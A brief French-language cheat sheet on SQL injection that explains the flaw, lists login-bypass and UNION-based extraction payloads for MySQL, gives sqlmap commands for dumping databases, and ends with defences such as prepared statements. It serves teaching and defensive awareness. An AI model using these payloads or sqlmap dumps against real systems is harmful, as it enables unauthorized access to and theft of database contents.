SQL Injection — Injection de code SQL

OWASP A03 Critique

Qu'est-ce que SQLi ?

Quand une application construit des requêtes SQL en concaténant l'input utilisateur, un attaquant peut injecter du code SQL pour manipuler la base de données. Exemple : SELECT * FROM users WHERE name='input'. Si input vaut ' OR 1=1--, la requête retourne tous les utilisateurs.

Types et payloads

-- Bypass de login
' OR '1'='1
' OR 1=1--
admin'--

-- Trouver le nombre de colonnes
' ORDER BY 1-- ... ORDER BY 3-- (erreur = trop)

-- Extraire des données (MySQL)
' UNION SELECT 1,database()--
' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--

Automatiser avec SQLMap

sqlmap -u "http://target/?id=1" --dbs --batch
sqlmap -r request.txt -p username --dump

Défenses

Requêtes préparées (Prepared Statements) · ORM · Moindre privilège pour le compte DB · Ne jamais afficher les erreurs SQL en production · WAF comme couche supplémentaire